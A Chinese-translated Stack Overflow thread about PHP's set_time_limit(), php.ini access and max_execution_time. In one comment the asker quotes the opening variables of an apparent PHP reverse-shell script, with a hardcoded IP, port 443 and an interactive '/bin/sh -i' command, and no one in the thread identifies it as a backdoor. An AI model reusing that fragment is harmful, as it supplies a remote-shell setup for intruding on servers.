【问题标题】:3 questions about set_time_limit() function in PHPPHP中关于set_time_limit()函数的3个问题
【发布时间】:2014-08-20 07:07:16
【问题描述】:

我有 3 个关于 PHP 中的 set_time_limit() 函数的问题:

  1. 当用户没有权限访问 PHP.ini 时,他可以更改 set_time_limit() 函数的值吗?
  2. 如何停止重启 set_time_limit() 函数?
  3. 其他方式:我不想运行set_time_limit()。我能做什么?

【问题讨论】:

  • 我不明白你的意思!如果我说不好我的英语不好!
  • 他说的是你在问题中的全部大写。在互联网上,这是在大喊大叫。
  • 1:是的,除非 PHP 在安全模式下运行,否则用户可以使用 set_time_limit()。 2/3:您是否正在运行服务器并且想要防止其他用户覆盖超时?如果是这样,您可以使用 php.ini 中的 disabled_functions 指令来关闭 set_time_limit。这样,用户将无法调用该函数。
  • @shaunc 如果您要回答问题,请将其发布为答案,而不是评论。

标签: php


【解决方案1】:

到1:

是的,即使用户无权访问 php.ini,也可以调用该函数。您可以在 5.4 中使用 safe_mode(DEPRECATEDREMOVED) 或 disabled_functions ini 指令来避免这种情况。但是,set_time_limit 具有潜在的误导性(请阅读下文)。如果您不想更改 php.ini,则可以在 Web 上下文中设置服务器级别的最大响应时间或使用的 cgi 配置。

对 2 也回答 3: 禁用该功能和/或设置max_execution_time

注意set_time_limit 计算当前运行的 php 脚本的执行时间,不是脚本等待外部资源的时间(Windows 上当然例外)。

【讨论】:

  • 感谢您的回答:x 第一个人(在上面)说我们无法访问 php.ini,所以我们无法更改!但我没有完全得到你对第一个问题的回答!我怎么能不允许用户更改值?
  • 并且在回答问题 2 和 3 时,如果我在值中输入一个巨大的数字,这不会有问题吗?或者我可以使用其他任何东西?什么是 max_execution?怎么能用呢?非常感谢:X
  • 如果您可以控制服务器,您可以禁用 php.ini 中的某些功能。对 php.ini 的访问基于普通文件系统权限。但是,有许多 php.ini 选项可以在运行时设置(列表here)。 max_execution_timeset_time_limit() 的 php.ini 对应项。将max_execution_time 设置为较高的值通常不是问题,因为 apache/iis 会中止长时间运行的请求。
  • 谢谢!我懂了 ! :x 我还有一个问题!您说我们可以更改 php.ini 中的 set_time_limit() 。看看这个脚本: set_time_limit (0); $VERSION = "1.0"; $ip = '151.233.143.114'; // 改变这个 $port = 443; // 改变这个 $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; ID; /bin/sh -i'; $守护进程 = 0; $调试 = 0;没有 php.ini 在这里!这怎么办?非常感谢:x
  • 某处可能涉及到 php.ini。查看phpinfo() 的结果以找到它。无论如何,如果你有一个与这个无关的问题,你应该问一个新的,如果那不会是重复的。找到它的方法已经是 here
【解决方案2】:

PHP Manual - set_time_limit functionset_time_limit 函数很容易回答您的三个问题。

1 - 只有在没有权限通过文件系统更改 php.ini 时,用户才无权更改 php.ini

2 和 3 - 如果您有正确的权限,您可以更改 php.ini 上的 max_execution_time。给它一个巨大的价值(虽然不推荐)

【讨论】:

    猜你喜欢
    • 2011-09-08
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2023-03-12
    相关资源
    最近更新 更多